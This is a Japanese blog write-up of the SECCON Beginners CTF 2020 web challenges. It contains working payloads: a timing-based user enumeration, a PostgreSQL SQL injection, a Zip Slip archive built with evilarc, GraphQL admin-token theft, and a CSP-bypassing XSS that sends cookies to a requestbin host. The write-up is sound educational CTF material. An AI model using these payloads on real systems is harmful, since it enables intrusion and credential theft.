はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginner CTF 2020 Web 全解説

Spy55pt441/1009AC
Tweetstore150pt150/1009AC
unzip188pt118/1009AC
profiler301pt59/1009AC
Somen421pt20/1009

ちゃんと月曜日に有給を取ったので復習した。
リアタイで参加して、4完。

Spy

As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt

f:id:hamayanhamayan:20200525130625p:plain

流出した従業員リストと、ログイン画面が与えられる。
解くべき問題は従業員リストの中から、ログイン可能な従業員を探すこと。
それが分かったら/challengeで、その従業員を答えるとフラグが得られる。

タイミング攻撃

タイミング攻撃を仕掛けることができる。
問題サイトの中でWebページのロード時間が表示されているのがヒントになっている。

タイミング攻撃が成功することのヒントは、与えられているコードにより明白に書いてある。

exists, account = db.get_account(name)

if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

ユーザー名が存在しない場合はif not exists:スコープでreturnしているが、
存在している場合はauth.calc_password_hashが実行され、マッチしないなら最終行でreturnしている。
重要なことが2つある。

  • auth.calc_password_hashはユーザー名が存在する場合にのみ通る
  • auth.calc_password_hashはコメントによると、ハッシュ計算をたくさん行っている → 計算に時間がかかる

よって、解法としては、全従業員の名前でログイン試行して、時間がかかるものをログイン可能な従業員としてメモしておけばいい。
時間がかかるものとかからないものでは、かなり時間差があるので、やってみればすぐ判別できる。

Tweetstore

Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2

f:id:hamayanhamayan:20200525130641p:plain

ctf4bの過去ツイートが見られるサイト。 search word, search limitに色々入れると絞り込みができる。

調査

とりあえずソースコードを見てみると、以下のことが分かる。

  • SQL文を作成しているのが見えるので、SQL Injectionかな?(疑惑レベル)
    • search wordについては、'\'に変換してlike句に埋め込んでいる
    • search limitについては、;で分割して最初のものをそのまま埋め込んでいる
  • DBはPostgreSQL
  • DBユーザーがフラグになっているので、これを抜き出す

肝心のSQL作成部分のコードは以下のようになっている。

var sql = "select url, text, tweeted_at from tweets"

search, ok := r.URL.Query()["search"]
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

sql += " order by tweeted_at desc"

limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
    sql += " limit " + strings.Split(limit[0], ";")[0]
}

SQL Injection (search word)

結論から言うと /?search=%5C%27%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20で抜ける。
URLデコードすると/?search=\'; select usename, usename, now() from pg_user; --である。

search word部分にインジェクションして抜き取る。
'\'とすることで、シングルクォーテーションを無効化しようとしているのだが、\'とすると変換後は\\'となり、'をうまく残すことができる。そしてその後にflagが書かれているユーザー名を抜き出すためのselect文を書くと結果がマージされて表示される。

ユーザー名がpg_userテーブルのusenameカラムを参照すればいい。
前半のSQL文に合わせて、後半のSQLもstring,string,dateのようにする必要がある。
string,stringについてはusename,usenameとすればいいとして、最後のdateが問題。
ここには現在時刻を指すnow()を入れることで、型を合わせることにしよう。

実行ユーザー名を取り出すだけなら、セッション情報関数を使ってもいい。
SECCON Beginners CTF 2020 write-up - Qiita SECCON CTF4B 2020 writeup Beginners CTF 2020 writeup - Qiita

SQL Injection (search limit)

SECCON beginners CTF 2020 writeup - La Vie en Lorse
SECCON for Beginners CTF 2020 writeup - 好奇心の足跡
ここではlimitでBlindSQLを仕掛ける方法が紹介されている。
ついこの前同じような解き方のビデオを見かけたので、それも合わせて紹介しておく。
CTFtime.org / m0leCon CTF 2020 Teaser / Skygenerator / Writeup

unzip

Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
(updated at 5/23 17:30) docker-compose.yml

f:id:hamayanhamayan:20200525130651p:plain

zipアーカイブをアップロードすると、解凍されて中身がサーバに保存されるという仕組み。
解凍後に/?filename=ファイル名でファイルを開くことができる。

調査

一通りサイトをいじって怪しい所も見当たらないので、添付ファイルを見てみよう。分かることは以下の通り。

  • index.php
    • /uploads/セッションID/にアップロードファイルが解凍されて保存される
    • /?filename=ファイル名でファイルを開くことができる
      • ファイル名は保存時のファイル名と一致するか確認して、一致しないならno such file
  • docker-compose.yml
    • nginx
      • 特に気になる所なし
    • php-fpm
      • flagは/flag.txtに保存されていて、これを抜ければ勝ち

さて、答えに関係ありそうなところを恣意的に残してはいるのだが、

  • /flag.txtを抜き取りたい
  • /?filename=ファイル名でファイルを開くことができる

という目的と手段が提示されているように見えるので、ディレクトリトラバーサルを試してみよう。

ディレクトリトラバーサル

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

この部分を見てみると、filepathはGETパラメタをそのまま使っているので、ディレクトリトラバーサルが使えそうな感じがする。
user_dirがルートディレクトリとなっているので、/filename=../../flag.txtを試してみよう。
こうすると、/uploads/セッションID/../../flag.txtとなり、/flag.txtを指せる。
だが、/filename=../../flag.txtno such fileを返す。
ソースコードを見返してみると、アップロードファイル名とあっているかのチェックが行われている。
zipからのアップロードでファイル名が../../flag.txtとなっていればチェックを回避できそうだが、
そんなことが可能だろうか。

Zip Slipみたいにやる

可能である。
他の人のWriteupには出てこないので、ここで出すのが正しいかちょっと自信がないのだが、Zip Slip脆弱性を利用する。
Zip Slip Vulnerability Exploit - YouTube
とってもわかりやすい動画があるので、これをみるとどういうものか分かる。

ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities
これを使って、../../flag.txtを入れたzipを作成しよう。

PS> python .\evilarc.py flag.txt -d 2 -o unix
Creating evil.zip containing ../../flag.txt

そして、これをアップロードすると、システム側では../../flag.txtのような名前でアップロードされる。
この状態で改めて/filename=../../flag.txtとするとフラグが表示される。

profiler

Let's edit your profile with profiler! Hint: You don't need to deobfuscate *.js Notice: Server is periodically initialized.

f:id:hamayanhamayan:20200525130703p:plain

ログインして、プロファイルを作ることができるサイト。

調査

まずはサイトを巡回して情報を集めよう。

  • POST /register
    • uid=hamayan&password=hamayan&name=hamayan
    • 特に気になる所はない
  • POST /login
    • uid=hamayan&password=hamayan
    • Set-Cookie: session=eyJ1aWQiOiJ5dWtpIn0.XskzrQ.dCcyHgNKqlPUbz1vU75gIeTyvfQ; HttpOnly; Path=/
      • JWTのセッションが帰ってくる
      • ちょっとcrackを試してみるが、うまくいかないので、その方針は保留
      • 中身は{ "uid": "hamayan" }という感じ
  • POST /api
    • GraphQLが使われている
    • {"query":"query {\n me {\n uid\n name\n profile\n }\n }"}
    • {"query":"query { me { uid name profile } }"}
    • {query: "query { flag }"}
    • GraphQLは簡単に内部構造が簡単に抜けることが知られている
  • GET /flag
    • Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).
    • tokenという言葉があるが、これは登録時に発行されるもので、プロファイルの更新に用いられる
    • tokenは同じid/passを使ってもランダム生成されるっぽい

GraphQL解析

GraphQLを解析してみよう。
prisma-labs/get-graphql-schema: Fetch and print the GraphQL schema from a GraphQL HTTP endpoint. (Can be used for Relay Modern.)
こういうものがあるので、情報を抜き出す。

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

みると、updateProfileとupdateTokenが公開されている。
updateTokenはadministratorのtokenにせよという要望にあっている気がする。
となると、administratorのtokenが知りたくなるが、Queryにsomeoneというのがあり、これが使えそう。

{"query":"query { someone(uid: \"admin\") { uid name profile token } }"}

これをやると、adminのtokenが抜き出せる。
なので、

{"query":"mutation { updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\") }"}

のような感じでtokenを更新して、/flagへ見に行くとフラグが表示される。

Somen

Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint:
worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)

f:id:hamayanhamayan:20200525130715p:plain

そうめんを食べるサイト…ではなく、人名を入力すると、冷やしそうめんか流しそうめんをリコメンドしてくれるサービス。

調査

  • サイト自体
    • This page works fine with latest Google Chrome / Chromium.
      • わざわざ書いてあるので、2つ目の入力フォームでadminにURLを提示できるが、その時にGoogleChromeで閲覧されるのだろう
      • XSS問題であることは間違いなさそうだ
    • /?username=入力
      • この入力部分をadminに渡してみてもらえる
      • encodeURIConmponentとあるが、これはブラウザがいつもやってることなので、特に問題ない
  • worker.js
    • setCookieでflagという名前でフラグが格納されていることが分かる
      • XSSでクッキーを盗めればフラグが得られる
    • あとは特に気になる所はない
  • index.php
    • CSPが設定されている
      • Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
    • usernameパラメタの内容が複数個所にインジェクションされている
      • titleの中身
        • ただ埋め込んでいる。危なそう
      • 本文中
        • こちらもただ埋め込んでいる。危なそう
    • security.jsを参照している
  • /security.js
    • usernameが^[a-zA-Z0-9]*$であるかを判定して、これに反するなら/error.phpにリダイレクトする
    • よって、不正なusernameを与えてもそれ以降は実行されない

的外れだった方針

試しに?username=abc&username=efgとしてみると、titleにはefgと表示され、本文中にはabcと表示される。

  • $_GET["username"] -> efg
  • new URL(location).searchParams.get("username") -> abc

これは使えそう。?username=a&username=[payload]で攻撃を仕掛けそう。
んー、CSP超えられない!終わり!

解説を見る

先人たちが爆速でWriteupを出してくれている。ありがたい…

1日も経っていないのに、この充実さですよ。

XSS

  • security.js
    • secirity.jsは相対パスで読まれているので、baseを変更してやれば違う所を参照させられる
    • username=</title><base href="https://example.com">
    • なるほどーーーーー
  • CSP
    • script-src 'strict-dynamic'というのは正しいjsスクリプトで生成されたコードについては信頼するという設定
    • 正しいjsスクリプトがコード生成する部分はdocument.getElementById("message").innerHTML = ...の部分である
    • 丁度usernameが先頭にインジェクションされるので、ここに入れ込むようにすればいい
    • id=messageのscriptをtitle直後に入れ込んでおけば、そこにjsコードを入れ込める
    • やっぱり何となくの理解でとどめておくとダメなんだな。ちゃんとドキュメントよもう

さて、

</title><base href="https://example.com">

でsecurity.jsを回避する。次に、DOM-based injectionするための受け皿である、id=messageのscriptタグを入れる。

</title><base href="https://example.com"><script id="message"></script>

実行したいjsコードを書く。手元確認のためalert(1)をやってみる。
普通に入れるだけだと不正なjsコードになるので、いらない部分はコメントアウトする。

alert(1)//</title><base href="https://example.com"><script id="message"></script>

アラートでてきますねぇ!
RequestBinを立ち上げて、いつものコードを入れる。

window.location='http://requestbin.net/r/xxxxx?c='+document.cookie;//</title><base href="https://example.com"><script id="message"></script>

リクエスト来ました。これをadminに送ると、フラグが出てくる。